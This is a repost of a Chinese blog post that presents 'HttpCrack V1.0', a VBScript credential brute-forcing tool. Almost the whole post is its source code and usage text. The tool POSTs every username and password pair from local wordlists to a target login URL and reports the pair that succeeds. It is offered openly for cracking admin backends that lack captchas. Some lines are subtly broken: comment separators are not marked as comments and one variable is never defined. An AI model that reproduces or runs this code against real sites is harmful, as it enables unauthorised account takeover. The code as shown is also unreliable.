当前位置:编程学习 > VB >>

HttpCrack V1.0 vbs写的一个暴力破解后台用户和密码的工具

 hi.baidu.com/540410588

    自己用vbs写的一个暴力破解后台用户和密码的工具,字典需要自己生成,用户字典保存为user.txt,密码字典保存为pass.txt 用法不多说了大家看说明吧。

转载请注明出处啊。o(∩_∩)o...

源码如下:

Dim i,l,u,p,ul,pl
   l=0
   i=0
   u=0
   p=0
Dim url,user1,pass1,search
Dim user(),pass()
set arg=wscript.arguments
If (LCase(Right(Wscript.fullname,11))="Wscript.Exe") Then
Wscript.Quit
End If
if arg.count=0 or arg.length<> 8 then
Call useage()
Wscript.Quit
Else
-------------------------------功能实现-------------------------------------------------------
Call init()
Call readFile()
Call main()
End If
-------------------------------功能实现-------------------------------------------------------

Sub main()
Dim result
Dim postStr
For i=0 To ul-1
For l=0 To pl-1
   postStr=user1&"="&user(i)&"&"&pass1&"="&pass(l)
   wsh.echo "Checking...... "&user(i)&"------"&pass(l)
   result = BytesToBstr(GetData(url,postStr),"GB2312")
   MsgBox result
   If(InStr(result,search)>0) Then
    wsh.echo ""
    wsh.echo "Good Job !!!"&vbcrlf&"You Have Found The Result"& vbcrlf&"username: "&user(i)&" -------

password: "&pass(l)
    wscript.quit
   End If
next
Next
wsh.echo "Sorry I cant Find The Result , Please Expand The Dic."
End sub
-------------------------------使用说明-------------------------------------------------------
Sub useage()
wsh.echo string(79,"*")
wsh.echo "此工具作为暴力破解用户名密码之用,条件是没有认证码做验证"
wsh.echo ""
wsh.echo "HttpCrack V1.0"
wsh.echo "     Made by 孤水绕城 "
wsh.echo "     QQ:540410588 Blog: http://hi.baidu.com/540410588"
wsh.echo ""
wsh.echo "Usage:"
wsh.echo "cscript "&wscript.scriptname&" -l(接收用户名密码的url) -u(用户名字段名) -p(密码字段名) -s(返回错误信息关键

字)"
wsh.echo "示例如下:cscript "&wscript.scriptname&" -l http://localhost/login.php -u user -p pass -s error"
wsh.echo string(79,"*")&vbcrlf
End Sub
-------------------------------使用说明-------------------------------------------------------
-------------------------------读取参数-------------------------------------------------------
Sub init()
Dim s
s=0
For s=0 To 7
   If(arg(s)="-l") Then
    url=arg(s+1)
   End If
   If(arg(s)="-u") Then
    user1=arg(s+1)
   End If
   If(arg(s)="-p") Then
    pass1=arg(s+1)
   End If
   If(arg(s)="-s") Then
    search=arg(s+1)
   End If
Next
If url<>"" And user1<>"" And pass1<>"" And search<>"" Then
  
Else
   Call useage()
   wscript.quit
End If

End Sub
------------------------------该部分用于读取user和pass字典----------------------------------
Sub readFile()
Dim path,length,fullpath,scriptName,str
str="gsrc"
fullpath=wscript.ScriptFullName
length=InStr(fullpath,scriptName)
path=Mid(fullpath,1,length-1)
Set fso=CreateObject("Scripting.FileSystemObject")
If fso.fileExists(path&"user.txt") And fso.fileExists(path&"pass.txt") Then
   Set otfuser=fso.OpenTextFile(path&"user.txt")
   Set otfpass=fso.OpenTextFile(path&"pass.txt")   
   Do While otfuser.AtEndOfLine <> True  
    ReDim Preserve user(i)
    str=otfuser.readLine()
    str=RegReplace(str,"[s]+","") 去除多余空格
    If(str<>"") then
     user(i)=str
    End If
    i=i+1
   Loop
   ul=i
   i=0
   Do While otfpass.AtEndOfLine <> True  
    ReDim Preserve pass(i)
    pass(i)=otfpass.readLine()
    i=i+1
   Loop
   pl=i
Else
   MsgBox("请确定user.txt和pass.txt放在"&path&"文件夹中")
   wscript.quit
End If
Set otfuser=Nothing
Set otfpass=Nothing
Set fso=Nothing
End Sub
Function RegReplace(ByVal str1, ByVal patrn, ByVal replStr)
      Dim regEx
      Set regEx = New RegExp
      regEx.Pattern = patrn
      regEx.MultiLine = True
      regEx.IgnoreCase = True
      regEx.Global = True
      RegReplace = regEx.Replace(str1, replStr)
      set regEx = Nothing
End Function
------------------------------该部分用于读取user和pass----------------------------------

------------------------------该部分用于提交数据----------------------------------------
Function GetData(PostUrl,PostStr)
Dim Http
Set Http = CreateObject("Microsoft.XMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.Send PostStr
GetData = .ResponseBody
End With
Set Http = Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream = CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write Body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadTExt
objstream.Close
Set objstream = Nothing
End Function
------------------------------该部分用于提交数据----------------------------------------
wscript.quit

补充:软件开发 , Vb ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,